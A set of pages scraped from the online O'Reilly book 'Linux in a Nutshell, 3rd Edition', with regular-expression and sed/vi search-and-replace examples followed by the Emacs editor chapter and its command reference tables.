b[aeiou]g | Second character is a vowel.
b[^aeiou]g | Second character is not a vowel.
b.g | Second character is any character except newline.
^...$ | Any line containing exactly three characters.
^\. | Any line that begins with a dot.
^\.[a-z][a-z] | Same, followed by two lowercase letters (e.g., troff requests).
^\.[a-z]\{2\} | Same as previous, grep or sed only.
^[^.] | Any line that doesn't begin with a dot.
bugs* | "bug," "bugs", "bugss", etc.
"word" | A word in quotes.
"*word"* | A word, with or without quotes.
[A-Z][A-Z]* | One or more uppercase letters.
[A-Z]+ | Same, egrep or awk only.
[A-Z].* | An uppercase letter, followed by zero or more characters.
[A-Z]* | Zero or more uppercase letters.
[a-zA-Z] | Any letter.
[0-9A-Za-z]+ | Any alphanumeric sequence.
egrep or awk pattern | What does it match?
[567] | One of the numbers 5, 6, or 7
five|six|seven | One of the words five, six, or seven
80[23]?86 | 8086, 80286, or 80386
compan(y|ies) | company or companies
vi pattern | What does it match?
\<the | Words like theater or the
the\> | Words like breathe or the
\<the\> | The word the
sed or grep pattern | What does it match?
0\{5,\} | Five or more zeros in a row
[0-9]\{3\}-[0-9]\{2\}-[0-9]\{4\} | Social security number (nnn-nn-nnnn)

9.4.1. Examples of Searching and Replacing

The following examples show the metacharacters available to sed and vi. We have shown vi commands with an initial colon because that is how they are invoked within vi. A space is marked by a [image]; a tab is marked by tab.

Command | Result
s/.*/(&)/ | Reproduce the entire line, but add parentheses.
s/.*/mv & &.old/ | Change a wordlist (one word per line) into mv commands.
/^$/d | Delete blank lines.
:g/^$/d | Same as previous, in vi editor.
/^[ [image] tab]*$/d | Delete blank lines, plus lines containing spaces or tabs.
:g/^[ [image] tab]*$/d | Same as previous, in vi editor.
s/ [image] [image] */ [image] /g | Turn one or more spaces into one space.
:%s/ [image] [image] */ [image] /g | Same as previous, in vi editor.
:s/[0-9]/Item &:/ | Turn a number into an item label (on the current line).
:s | Repeat the substitution on the first occurrence.
:& | Same as previous.
:sg | Same, but for all occurrences on the line.
:&g | Same as previous.
:%&g | Repeat the substitution globally.
:.,$s/Fortran/\U&/g | Change word to uppercase, on current line to last line.
:%s/.*/\L&/ | Lowercase entire file.
:s/\<./\u&/g | Uppercase first letter of each word on current line. (Useful for titles.)
:%s/yes/No/g | Globally change a word (yes) to another word (No).
:%s/Yes/~/g | Globally change a different word to No (previous replacement).

Finally, here are some sed examples for transposing words. A simple transposition of two words might look like this:

s/die or do/do or die/	Transpose words

The real trick is to use hold buffers to transpose variable patterns. For example:

s/\([Dd]ie\) or \([Dd]o\)/\2 or\1/	  Transpose, using hold buffers

Previous | Home | Next
9.3. Metacharacters | Book Index | 10. The Emacs Editor
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Emacs Editor (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Chapter 10. The Emacs Editor

Contents:

Introduction
Typical Problems
Summary of Commands by Group
Summary of Commands by Key
Summary of Commands by Name

This chapter presents the following topics:

  • Introduction

  • Typical problems

  • Summary of Emacs commands by group

  • Summary of Emacs commands by key

  • Summary of Emacs commands by name

10.1. Introduction

Although Emacs is not part of Linux, this text editor is found on many Unix systems because it is a popular alternative to vi. Many versions are available. This book documents GNU Emacs, which is available from the Free Software Foundation in Cambridge, Massachusetts. For more information, see the O'Reilly book Learning GNU Emacs, 2d ed., by Debra Cameron, Bill Rosenblatt, and Eric Raymond.

To start an Emacs editing session, type:

emacs [file]
Previous | Home | Next
9.4. Examples of Searching | Book Index | 10.2. Typical Problems
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Typical Problems (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

10.2. Typical Problems

A very common problem is that the Del or Backspace key on the terminal does not delete the character before the cursor, as it should. Instead, it invokes a help prompt. This problem is caused by an incompatible terminal. A fairly robust fix is to create a file named .emacs in your home directory (or edit one that's already there) and add the following lines:

(keyboard-translate ?\C-h ?\C-?)
(keyboard-translate ?\C-\\ ?\C-h)

Now the Del or Backspace kill should work, and you can invoke help by pressing C-\ (an arbitrarily chosen key sequence).

Another potential problem is that on some systems, C-s causes the terminal to hang. This is due to an old-fashioned handshake protocol between the terminal and the system. You can restart the terminal by pressing C-q, but that doesn't help you enter commands that contain the sequence C-s. The solution (aside from using a more modern dial-in protocol) is to create new key bindings that replace C-s or to enter those commands as M-x command-name.

10.2.1. Notes on the Tables

Emacs commands use the Ctrl key and the Meta key. Most modern terminals provide a key named Alt that functions as a Meta key. In this section, the notation C- indicates that you should hold down the Ctrl key and press the character that follows, while M- indicates that the Meta or Alt key is pressed in the same way, along with the character that follows. As an alternative to Meta or Alt, you can press the Esc key, release it, and press the character. You might want to do this if you have any problems with controlling windows capturing the Alt key (which sometimes happens).

In the command tables that follow, the first column lists the keystroke and the last column describes it. When there is a middle column, it lists the command name. The command can be executed by typing M-x followed by the command name; you have to do this when the binding is listed as "(none)." If you're unsure of the full command name, you can type a space or a carriage return, and Emacs will list possible completions of what you've typed so far.

Because Emacs is such a comprehensive editor, containing hundreds of commands, some commands must be omitted for the sake of preserving a "quick" reference. You can browse the command set by typing C-h (for help) and then b to get a list of the key bindings[6] or M-x followed by a space or Tab to get the command names.

[6]If you want to learn to create your own key bindings, see Learning GNU Emacs (O'Reilly).

10.2.2. Modes

One of the features that makes Emacs popular is its editing modes. The modes set up an environment designed for the type of editing you are doing, with features like having appropriate key bindings available and automatically indenting according to standard conventions for that type of document. There are modes for various programming languages like C or Perl, for text processing (e.g., SGML or even straight text), and many more. One particularly useful mode is Dired (Directory Editor), which has commands that let you manage directories. For a full discussion of modes, see Learning GNU Emacs, mentioned at the beginning of this chapter, or the Emacs Info documentation system (C-h i).

10.2.3. Absolutely Essential Commands

If you're just getting started with Emacs, here's a short list of the most important commands to know:

Binding | Action
C-h | Enter the online help system.
C-x C-s | Save the file.
C-x C-c | Exit Emacs.
C-x u | Undo last edit (can be repeated).
C-g | Get out of current command operation.
C-p | Up by one line.
C-n | Down by one line.
C-f | Forward by one character.
C-b | Back by one character.
C-v | Forward by one screen.
M-v | Backward by one screen.
C-s | Search forward for characters.
C-r | Search backward for characters.
C-d | Delete current character.
Del | Delete previous character.
Backspace | Delete previous character.
Previous | Home | Next
10. The Emacs Editor | Book Index | 10.3. Summary of Commands by Group
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary of Commands by Group (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

10.3. Summary of Commands by Group

Reminder: Tables list keystrokes, command name, and description. C- indicates the Control key; M- indicates the Meta key.

10.3.1. File-Handling Commands

Binding | Command | Action
C-x C-f | find-file | Find file and read it.
C-x C-v | find-alternate-file | Read another file; replace the one read currently in the buffer.
C-x i | insert-file | Insert file at cursor position.
C-x C-s | save-buffer | Save file. (If terminal hangs, C-q restarts.)
C-x C-w | write-file | Write buffer contents to file.
C-x C-c | save-buffers-kill-emacs | Exit Emacs.
C-z | suspend-emacs | Suspend Emacs (use exit or fg to restart).

10.3.2. Cursor Movement Commands

Some words are emphasized in the Action column to help you remember the binding for the command.

Binding | Command | Action
C-f | forward-char | Move forward one character (right).
C-b | backward-char | Move backward one character (left).
C-p | previous-line | Move to previous line (up).
C-n | next-line | Move to next line (down).
M-f | forward-word | Move one word forward.
M-b | backward-word | Move one word backward.
C-a | beginning-of-line | Move to beginning of line.
C-e | end-of-line | Move to end of line.
M-a | backward-sentence | Move backward one sentence.
M-e | forward-sentence | Move forward one sentence.
M-{ | backward-paragraph | Move backward one paragraph.
M-} | forward-paragraph | Move forward one paragraph.
C-v | scroll-up | Move forward one screen.
M-v | scroll-down | Move backward one screen.
C-x [ | backward-page | Move backward one page.
C-x ] | forward-page | Move forward one page.
M-> | end-of-buffer | Move to end-of-file.
M-< | beginning-of-buffer | Move to beginning of file.
(none) | goto-line | Go to line n of file.
(none) | goto-char | Go to character n of file.
C-l | recenter | Redraw screen with current line in the center.
M-n | digit-argument | Repeat the next command n times.
C-u n | universal-argument | Repeat the next command n times.

10.3.3. Deletion Commands

Binding | Command | Action
Del | backward-delete-char | Delete previous character.
C-d | delete-char | Delete character under cursor.
M-Del | backward-kill-word | Delete previous word.
M-d | kill-word | Delete the word the cursor is on.
C-k | kill-line | Delete from cursor to end-of-line.
M-k | kill-sentence | Delete sentence the cursor is on.
C-x Del | backward-kill-sentence | Delete previous sentence.
C-y | yank | Restore what you've deleted.
C-w | kill-region | Delete a marked region (see Section 10.3.4, "Paragraphs and Regions").
(none) | backward-kill-paragraph | Delete previous paragraph.
(none) | kill-paragraph | Delete from the cursor to the end of the paragraph.

10.3.4. Paragraphs and Regions

Binding | Command | Action
C-@ | set-mark-command | Mark the beginning (or end) of a region.
C-Space | (Same as preceding) | (Same as preceding)
C-x C-p | mark-page | Mark page.
C-x C-x | exchange-point-and-mark | Exchange location of cursor and mark.
C-x h | mark-whole-buffer | Mark buffer.
M-q | fill-paragraph | Reformat paragraph.
(none) | fill-region | Reformat individual paragraphs within a region.
M-h | mark-paragraph | Mark paragraph.
M-{ | backward-paragraph | Move backward one paragraph.
M-} | forward-paragraph | Move forward one paragraph.
(none) | backward-kill-paragraph | Delete previous paragraph.
(none) | kill-paragraph | Delete from the cursor to the end of the paragraph.

10.3.5. Stopping and Undoing Commands

Binding | Command | Action
C-g | keyboard-quit | Abort current command.
C-x u | advertised-undo | Undo last edit (can be done repeatedly).
(none) | revert-buffer | Restore buffer to the state it was in when the file was last saved (or auto-saved).

10.3.6. Transposition Commands

Binding | Command | Action
C-t | transpose-chars | Transpose two letters.
M-t | transpose-words | Transpose two words.
C-x C-t | transpose-lines | Transpose two lines.
(none) | transpose-sentences | Transpose two sentences.
(none) | transpose-paragraphs | Transpose two paragraphs.

10.3.7. Capitalization Commands

Binding | Command | Action
M-c | capitalize-word | Capitalize first letter of word.
M-u | upcase-word | Uppercase word.
M-l | downcase-word | Lowercase word.
M- - M-c | negative-argument; capitalize-word | Capitalize previous word.
M- - M-u | negative-argument; upcase-word | Uppercase previous word.
M- - M-l | negative-argument; downcase-word | Lowercase previous word.
(none) | capitalize-region | Capitalize initial letters in region.
C-x C-u | upcase-region | Uppercase region.
C-x C-l | downcase-region | Lowercase region.

10.3.8. Incremental Search Commands

Binding | Command | Action
C-s | isearch-forward | Start or repeat incremental search forward.
C-r | isearch-backward | Start or repeat incremental search backward.
Return | (none) | Exit a successful search.
C-g | keyboard-quit | Cancel incremental search; return to starting point.
Del | (none) | Delete incorrect character of search string.
M-C-r | isearch-backward-regexp | Incremental search backward for regular expression.
M-C-s | isearch-forward-regexp | Incremental search forward for regular expression.

10.3.9. Word Abbreviation Commands

Binding | Command | Action
(none) | abbrev-mode | Enter (or exit) word abbreviation mode.
C-x a - | inverse-add- global-abbrev | Define previous word as global (mode- independent) abbreviation.
C-x a i l | inverse-add- mode-abbrev | Define previous word as mode-specific abbreviation.
(none) | unexpand-abbrev | Undo the last word abbreviation.
(none) | write-abbrev-file | Write the word abbreviation file.
(none) | edit-abbrevs | Edit the word abbreviations.
(none) | list-abbrevs | View the word abbreviations.
(none) | kill-all-abbrevs | Kill abbreviations for this session.

10.3.10. Buffer Manipulation Commands

Binding | Command | Action
C-x b | switch-to-buffer | Move to specified buffer.
C-x C-b | list-buffers | Display buffer list.
C-x k | kill-buffer | Delete specified buffer.
(none) | kill-some-buffers | Ask about deleting each buffer.
(none) | rename-buffer | Change buffer name to specified name.
C-x s | save-some-buffers | Ask whether to save each modified buffer.

10.3.11. Window Commands

Binding | Command | Action
C-x 2 | split-window-vertically | Divide the current window in two vertically, resulting in one window on top of the other.
C-x 3 | split-window-horizontally | Divide the current window in two horizontally, resulting in two side-by-side windows.
C-x > | scroll-right | Scroll the window right.
C-x < | scroll-left | Scroll the window left.
C-x o | other-window | Move to the other window.
C-x 0 | delete-window | Delete current window.
C-x 1 | delete-other-windows | Delete all windows but this one.
(none) | delete-windows-on | Delete all windows on a given buffer.
C-x ^ | enlarge-window | Make window taller.
(none) | shrink-window | Make window shorter.
C-x } | enlarge-window- horizontally | Make window wider.
C-x { | shrink-window- horizontally | Make window narrower.
M-C-v | scroll-other-window | Scroll other window.
C-x 4 f | find-file-other-window | Find a file in the other window.
C-x 4 b | switch-to-buffer-other-window | Select a buffer in the other window.
C-x 5 f | find-file-other-frame | Find a file in a new frame.
C-x 5 b | switch-to-buffer-other-frame | Select a buffer in another frame.
(none) | compare-windows | Compare two buffers; show first difference.

10.3.12. Special Shell Mode Characters

Binding | Command | Action
C-c C-c | interrupt-shell-subjob | Terminate the current job.
C-c C-d | shell-send-eof | End-of-file character.
C-c C-u | kill-shell-input | Erase current line.
C-c C-w | backward-kill-word | Erase the previous word.
C-c C-z | stop-shell-subjob | Suspend the current job.

10.3.13. Indentation Commands

Binding | Command | Action
C-x . | set-fill-prefix | Prepend each line in paragraph with characters from beginning of line up to cursor column; cancel prefix by typing this command in column 1.
(none) | indented-text-mode | Major mode: each tab defines a new indent for subsequent lines.
(none) | text-mode | Exit indented text mode; return to text mode.
M-C-\ | indent-region | Indent a region to match first line in region.
M-m | back-to-indentation | Move cursor to first character on line.
M-^ | delete-indentation | Join this line to the previous line.
M-C-o | split-line | Split line at cursor; indent to column of cursor.
(none) | fill-individual- paragraphs | Reformat indented paragraphs, keeping indentation.

10.3.14. Centering Commands

Binding | Command | Action
(none) | center-line | Center line that cursor is on.
(none) | center-paragraph | Center paragraph that cursor is on.
(none) | center-region | Center currently defined region.

10.3.15. Macro Commands

Binding | Command | Action
C-x ( | start-kbd-macro | Start macro definition.
C-x ) | end-kbd-macro | End macro definition.
C-x e | call-last-kbd-macro | Execute last macro defined.
M-n C-x e | digit-argument and call-last-kbd-macro | Execute last macro defined n times.
C-u C-x ( | start-kbd-macro | Execute last macro defined, then add keystrokes.
(none) | name-last-kbd-macro | Name last macro you created (before saving it).
(none) | insert-last-keyboard- macro | Insert the macro you named into a file.
(none) | load-file | Load macro files you've saved.
(none) | macroname | Execute a keyboard macro you've saved.
C-x q | kbd-macro-query | Insert a query in a macro definition.
C-u C-x q | (none) | Insert a recursive edit in a macro definition.
M-C-c | exit-recursive-edit | Exit a recursive edit.

10.3.16. Detail Information Help Commands

Binding | Command | Action
C-h a | command-apropos | What commands involve this concept?
(none) | apropos | What commands, functions, and variables involve this concept?
C-h c | describe-key-briefly | What command does this keystroke sequence run?
C-h b | describe-bindings | What are all the key bindings for this buffer?
C-h k | describe-key | What command does this keystroke sequence run, and what does it do?
C-h l | view-lossage | What are the last 100 characters I typed?
C-h w | where-is | What is the key binding for this command?
C-h f | describe-function | What does this function do?
C-h v | describe-variable | What does this variable mean, and what is its value?
C-h m | describe-mode | Tell me about the mode the current buffer is in.
C-h s | describe-syntax | What is the syntax table for this buffer?

10.3.17. Help Commands

Binding | Command | Action
C-h t | help-with-tutorial | Run the Emacs tutorial.
C-h i | info | Start the Info documentation reader.
C-h n | view-emacs-news | View news about updates to Emacs.
C-h C-c | describe-copying | View the Emacs General Public License.
C-h C-d | describe-distribution | View information on ordering Emacs from the FSF.
C-h C-w | describe-no-warranty | View the (non)warranty for Emacs.

Previous | Home | Next
10.2. Typical Problems | Book Index | 10.4. Summary of Commands by Key
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary of Commands by Key (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

10.4. Summary of Commands by Key

Emacs commands are presented next in two alphabetical lists. Tables list keystrokes, command name, and description. C- indicates the Ctrl key; M- indicates the Meta key.

10.4.1. Control-Key Sequences

Binding | Command | Action
C-@ | set-mark-command | Mark the beginning (or end) of a region.
C-Space | (Same as preceding) | (Same as preceding)
C-] | abort-recursive-edit | Exit recursive edit and exit query-replace.
C-a | beginning-of-line | Move to beginning of line.
C-b | backward-char | Move backward one character (left).
C-c C-c | interrupt-shell-subjob | Terminate the current job.
C-c C-d | shell-send-eof | End-of-file character.
C-c C-u | kill-shell-input | Erase current line.
C-c C-w | backward-kill-word | Erase the previous word.
C-c C-z | stop-shell-subjob | Suspend the current job.
C-d | delete-char | Delete character under cursor.
C-e | end-of-line | Move to end of line.
C-f | forward-char | Move forward one character (right).
C-g | keyboard-quit | Abort current command.
C-h | help-command | Enter the online help system.
C-h a | command-apropos | What commands involve this concept?
C-h b | describe-bindings | What are all the key bindings for this buffer?
C-h c | describe-key-briefly | What command does this keystroke sequence run?
C-h C-c | describe-copying | View the Emacs General Public License.
C-h C-d | describe-distribution | View information on ordering Emacs from the FSF.
C-h C-w | describe-no-warranty | View the (non)warranty for Emacs.
C-h f | describe-function | What does this function do?
C-h i | info | Start the Info documentation reader.
C-h k | describe-key | What command does this keystroke sequence run, and what does it do?
C-h l | view-lossage | What are the last 100 characters I typed?
C-h m | describe-mode | Tell me about the mode the current buffer is in.
C-h n | view-emacs-news | View news about updates to Emacs.
C-h s | describe-syntax | What is the syntax table for this buffer?
C-h t | help-with-tutorial | Run the Emacs tutorial.
C-h v | describe-variable | What does this variable mean, and what is its value?
C-h w | where-is | What is the key binding for this command?
C-k | kill-line | Delete from cursor to end-of-line.
C-l | recenter | Redraw screen with current line in the center.
C-n | next-line | Move to next line (down).
C-p | previous-line | Move to previous line (up).
C-q | quoted-insert | Insert next character typed. Useful for inserting a control character.
C-r | isearch-backward | Start or repeat nonincremental search backward.
C-r | (none) | Enter recursive edit (during query replace).
C-s | isearch-forward | Start or repeat nonincremental search forward.
C-t | transpose-chars | Transpose two letters.
C-u n | universal-argument | Repeat the next command n times.
C-u C-x ( | start-kbd-macro | Execute last macro defined, then add keystrokes.
C-u C-x q | (none) | Insert recursive edit in a macro definition.
C-v | scroll-up | Move forward one screen.
C-w | kill-region | Delete a marked region.
C-x ( | start-kbd-macro | Start macro definition.
C-x ) | end-kbd-macro | End macro definition.
C-x [ | backward-page | Move backward one page.
C-x ] | forward-page | Move forward one page.
C-x ^ | enlarge-window | Make window taller.
C-x { | shrink-window- horizontally | Make window narrower.
C-x } | enlarge-window- horizontally | Make window wider.
C-x < | scroll-left | Scroll the window left.
C-x > | scroll-right | Scroll the window right.
C-x . | set-fill-prefix | Prepend each line in paragraph with characters from beginning of line up to cursor column; cancel prefix by typing this command in column 1.
C-x 0 | delete-window | Delete current window.
C-x 1 | delete-other-windows | Delete all windows but this one.
C-x 2 | split-window-vertically | Divide current window in two vertically, resulting in one window on top of the other.
C-x 3 | split-window-horizontally | Divide current window in two horizontally, resulting in two side-by-side windows.
C-x 4 b | switch-to-buffer-other-window | Select a buffer in the other window.
C-x 4 f | find-file-other-window | Find a file in the other window.
C-x 5 b | switch-to-buffer-other-frame | Select a buffer in another frame.
C-x 5 f | find-file-other-frame | Find a file in a new frame.
C-x a - | inverse-add-global-abbrev | Define previous word as global (mode- independent) abbreviation.
C-x a i l | inverse-add-mode-abbrev | Define previous word as mode-specific abbreviation.
C-x b | switch-to-buffer | Move to the buffer specified.
C-x C-b | list-buffers | Display the buffer list.
C-x C-c | save-buffers-kill-emacs | Exit Emacs.
C-x C-f | find-file | Find file and read it.
C-x C-l | downcase-region | Lowercase region.
C-x C-p | mark-page | Place cursor and mark around whole page.
C-x C-q | (none) | Toggle read-only status of buffer.
C-x C-s | save-buffer | Save file. (If terminal hangs, C-q restarts.)
C-x C-t | transpose-lines | Transpose two lines.
C-x C-u | upcase-region | Uppercase region.
C-x C-v | find-alternate-file | Read an alternate file, replacing the one currently in the buffer.
C-x C-w | write-file | Write buffer contents to file.
C-x C-x | exchange-point-and-mark | Exchange location of cursor and mark.
C-x Del | backward-kill- sentence | Delete previous sentence.
C-x e | call-last-kbd-macro | Execute last macro defined.
C-x h | mark-whole-buffer | Place cursor and mark around whole buffer.
C-x i | insert-file | Insert file at cursor position.
C-x k | kill-buffer | Delete the buffer specified.
C-x o | other-window | Move to the other window.
C-x q | kbd-macro-query | Insert a query in a macro definition.
C-x s | save-some-buffers | Ask whether to save each modified buffer.
C-x u | advertised-undo | Undo last edit (can be done repeatedly).
C-y | yank | Restore what you've deleted.
C-z | suspend-emacs | Suspend Emacs (use exit or fg to restart).

10.4.2. Meta-Key Sequences

Binding | Command | Action
M-- M-c | negative-argument; capitalize-word | Capitalize previous word.
M-- M-l | negative-argument; downcase-word | Lowercase previous word.
M-- M-u | negative-argument; upcase-word | Uppercase previous word.
M-$ | spell-word | Check spelling of word after cursor.
M-< | beginning-of-buffer | Move to beginning of file.
M-> | end-of-buffer | Move to end-of-file.
M-{ | backward-paragraph | Move backward one paragraph.
M-} | forward-paragraph | Move forward one paragraph.
M-^ | delete-indentation | Join this line to the previous one.
M-n | digit-argument | Repeat the next command n times.
M-n C-x e | digit-argument; call-last-kbd-macro | Execute the last defined macro n times.
M-a | backward-sentence | Move backward one sentence.
M-b | backward-word | Move one word backward.
M-c | capitalize-word | Capitalize first letter of word.
M-C-\ | indent-region | Indent a region to match first line in region.
M-C-c | exit-recursive-edit | Exit a recursive edit.
M-C-o | split-line | Split line at cursor; indent to column of cursor.
M-C-r | isearch-backward-regexp | Incremental search backward for regular expression.
M-C-s | isearch-forward-regexp | Incremental search forward for regular expression.
M-C-v | scroll-other-window | Scroll other window.
M-d | kill-word | Delete word that cursor is on.
M-Del | backward-kill-word | Delete previous word.
M-e | forward-sentence | Move forward one sentence.
M-f | forward-word | Move one word forward.
(none) | fill-region | Reformat individual paragraphs within a region.
M-h | mark-paragraph | Place cursor and mark around whole paragraph.
M-k | kill-sentence | Delete sentence the cursor is on.
M-l | downcase-word | Lowercase word.
M-m | back-to-indentation | Move cursor to first nonblank character on line.
M-q | fill-paragraph | Reformat paragraph.
M-t | transpose-words | Transpose two words.
M-u | upcase-word | Uppercase word.
M-v | scroll-down | Move backward one screen.
M-x | (none) | Execute a command by typing its name.

Previous | Home | Next
10.3. Summary of Commands by Group | Book Index | 10.5. Summary of Commands by Name
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary of Commands by Name (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

10.5. Summary of Commands by Name

The following Emacs commands are presented alphabetically by command name. Use M-x to access the command name. Tables list command name, keystroke, and description. C- indicates the Ctrl key; M- indicates the Meta key.

Command | Binding | Action
macroname | (none) | Execute a keyboard macro you've saved.
abbrev-mode | (none) | Enter (or exit) word abbreviation mode.
abort-recursive-edit | C-] | Exit recursive edit and exit query-replace.
advertised-undo | C-x u | Undo last edit (can be done repeatedly).
apropos | (none) | What functions and variables involve this concept?
back-to-indentation | M-m | Move cursor to first nonblank character on line.
backward-char | C-b | Move backward one character (left).
backward-delete-char | Del | Delete previous character.
backward-kill-paragraph | (none) | Delete previous paragraph.
backward-kill-sentence | C-x Del | Delete previous sentence.
backward-kill-word | C-c C-w | Erase previous word.
backward-kill-word | M-Del | Delete previous word.
backward-page | C-x [ | Move backward one page.
backward-paragraph | M-{ | Move backward one paragraph.
backward-sentence | M-a | Move backward one sentence.
backward-word | M-b | Move backward one word.
beginning-of-buffer | M-< | Move to beginning of file.
beginning-of-line | C-a | Move to beginning of line.
call-last-kbd-macro | C-x e | Execute last macro defined.
capitalize-region | (none) | Capitalize region.
capitalize-word | M-c | Capitalize first letter of word.
center-line | (none) | Center line that cursor is on.
center-paragraph | (none) | Center paragraph that cursor is on.
center-region | (none) | Center currently defined region.
command-apropos | C-h a | What commands involve this concept?
compare-windows | (none) | Compare two buffers; show first difference.
delete-char | C-d | Delete character under cursor.
delete-indentation | M-^ | Join this line to previous one.
delete-other-windows | C-x 1 | Delete all windows but this one.
delete-window | C-x 0 | Delete current window.
delete-windows-on | (none) | Delete all windows on a given buffer.
describe-bindings | C-h b | What are all the key bindings for in this buffer?
describe-copying | C-h C-c | View the Emacs General Public License.
describe-distribution | C-h C-d | View information on ordering Emacs from the FSF.
describe-function | C-h f | What does this function do?
describe-key | C-h k | What command does this keystroke sequence run, and what does it do?
describe-key-briefly | C-h c | What command does this keystroke sequence run?
describe-mode | C-h m | Tell me about the mode the current buffer is in.
describe-no-warranty | C-h C-w | View the (non)warranty for Emacs.
describe-syntax | C-h s | What is the syntax table for this buffer?
describe-variable | C-h v | What does this variable mean, and what is its value?
digit-argument | M-n | Repeat next command n times.
downcase-region | C-x C-l | Lowercase region.
downcase-word | M-l | Lowercase word.
edit-abbrevs | (none) | Edit word abbreviations.
end-kbd-macro | C-x ) | End macro definition.
end-of-buffer | M-> | Move to end-of-file.
end-of-line | C-e | Move to end-of-line.
enlarge-window | C-x ^ | Make window taller.
enlarge-window-horizontally | C-x } | Make window wider.
exchange-point-and-mark | C-x C-x | Exchange location of cursor and mark.
exit-recursive-edit | M-C-c | Exit a recursive edit.
fill-individual-paragraphs | (none) | Reformat indented paragraphs, keeping indentation.
fill-paragraph | M-q | Reformat paragraph.
fill-region | (none) | Reformat individual paragraphs within a region.
find-alternate-file | C-x C-v | Read an alternate file, replacing the one currently in the buffer.
find-file | C-x C-f | Find file and read it.
find-file-other-frame | C-x 5 f | Find a file in a new frame.
find-file-other-window | C-x 4 f | Find a file in the other window.
forward-char | C-f | Move forward one character (right).
forward-page | C-x ] | Move forward one page.
forward-paragraph | M-} | Move forward one paragraph.
forward-sentence | M-e | Move forward one sentence.
forward-word | M-f | Move forward one word.
goto-char | (none) | Go to character n of file.
goto-line | (none) | Go to line n of file.
help-command | C-h | Enter the online help system.
help-with-tutorial | C-h t | Run the Emacs tutorial.
indent-region | M-C-\ | Indent a region to match first line in region.
indented-text-mode | (none) | Major mode: each tab defines a new indent for subsequent lines.
info | C-h i | Start the Info documentation reader.
insert-file | C-x i | Insert file at cursor position.
insert-last-keyboard-macro | (none) | Insert the macro you named into a file.
interrupt-shell-subjob | C-c C-c | Terminate the current job (shell mode).
inverse-add-global-abbrev | C-x a - | Define previous word as global (mode-independent) abbreviation.
inverse-add-mode-abbrev | C-x a i l | Define previous word as mode-specific abbreviation.
isearch-backward | C-r | Start incremental search backward.
isearch-backward-regexp | M-C-r | Same, but search for regular expression.
isearch-forward | C-s | Start incremental search forward.
isearch-forward-regexp | M-C-s | Same, but search for regular expression.
kbd-macro-query | C-x q | Insert a query in a macro definition.
keyboard-quit | C-g | Abort current command.
kill-all-abbrevs | (none) | Kill abbreviations for this session.
kill-buffer | C-x k | Delete the buffer specified.
kill-line | C-k | Delete from cursor to end-of-line.
kill-paragraph | (none) | Delete from cursor to end of paragraph.
kill-region | C-w | Delete a marked region.
kill-sentence | M-k | Delete sentence the cursor is on.
kill-shell-input | C-c C-u | Erase current line.
kill-some-buffers | (none) | Ask about deleting each buffer.
kill-word | M-d | Delete word the cursor is on.
list-abbrevs | (none) | View word abbreviations.
list-buffers | C-x C-b | Display buffer list.
load-file | (none) | Load macro files you've saved.
mark-page | C-x C-p | Place cursor and mark around whole page.
mark-paragraph | M-h | Place cursor and mark around whole paragraph.
mark-whole-buffer | C-x h | Place cursor and mark around whole buffer.
name-last-kbd-macro | (none) | Name last macro you created (before saving it).
negative-argument; capitalize-word | M-- M-c | Capitalize previous word.
negative-argument; downcase-word | M-- M-l | Lowercase previous word.
negative-argument; upcase-word | M-- M-u | Uppercase previous word.
next-line | C-n | Move to next line (down).
other-window | C-x o | Move to the other window.
previous-line | C-p | Move to previous line (up).
query-replace-regexp | (none) | Query-replace a regular expression.
quoted-insert | C-q | Insert next character typed. Useful for inserting a control character.
recenter | C-l | Redraw screen, with current line in center.
rename-buffer | (none) | Change buffer name to specified name.
replace-regexp | (none) | Replace a regular expression unconditionally.
re-search-backward | (none) | Simple regular-expression search backward.
re-search-forward | (none) | Simple regular-expression search forward.
revert-buffer | (none) | Restore buffer to the state it was in when the file was last saved (or auto-saved).
save-buffer | C-x C-s | Save file. (If terminal hangs, C-q restarts.)
save-buffers-kill-emacs | C-x C-c | Exit Emacs.
save-some-buffers | C-x s | Ask whether to save each modified buffer.
scroll-down | M-v | Move backward one screen.
scroll-left | C-x < | Scroll the window left.
scroll-other-window | M-C-v | Scroll other window.
scroll-right | C-x > | Scroll the window right.
scroll-up | C-v | Move forward one screen.
set-fill-prefix | C-x . | Prepend each line in paragraph with characters from beginning of line up to cursor column; cancel prefix by typing this command in column 1.
set-mark-command | C-@ or C-Space | Mark the beginning (or end) of a region.
shell-send-eof | C-c C-d | End-of-file character (shell mode).
shrink-window | (none) | Make window shorter.
shrink-window-horizontally | C-x { | Make window narrower.
spell-buffer | (none) | Check spelling of current buffer.
spell-region | (none) | Check spelling of current region.
spell-string | (none) | Check spelling of string typed in minibuffer.
spell-word | M-$ | Check spelling of word after cursor.
split-line | M-C-o | Split line at cursor; indent to column of cursor.
split-window-horizontally | C-x 3 | Divide current window horizontally into two.
split-window-vertically | C-x 2 | Divide current window vertically into two.
start-kbd-macro | C-x ( | Start macro definition.
stop-shell-subjob | C-c C-z | Suspend current job.
suspend-emacs | C-z | Suspend Emacs (use fg to restart).
switch-to-buffer | C-x b | Move to the buffer specified.
switch-to-buffer-other-frame | C-x 5 b | Select a buffer in another frame.
switch-to-buffer-other- window | C-x 4 b | Select a buffer in the other window.
text-mode | (none) | Enter text mode.
transpose-chars | C-t | Transpose two letters.
transpose-lines | C-x C-t | Transpose two lines.
transpose-paragraphs | (none) | Transpose two paragraphs.
transpose-sentences | (none) | Transpose two sentences.
transpose-words | M-t | Transpose two words.
unexpand-abbrev | (none) | Undo the last word abbreviation.
universal-argument | C-u n | Repeat the next command n times.
upcase-region | C-x C-u | Uppercase region.
upcase-word | M-u | Uppercase word.
view-emacs-news | C-h n | View news about updates to Emacs.
view-lossage | C-h l | What are the last 100 characters I typed?
where-is | C-h w | What is the key binding for this command?
write-abbrev-file | (none) | Write the word abbreviation file.
write-file | C-x C-w | Write buffer contents to file.
yank | C-y | Restore what you've deleted.

Previous | Home | Next
10.4. Summary of Commands by Key | Book Index | 11. The vi Editor
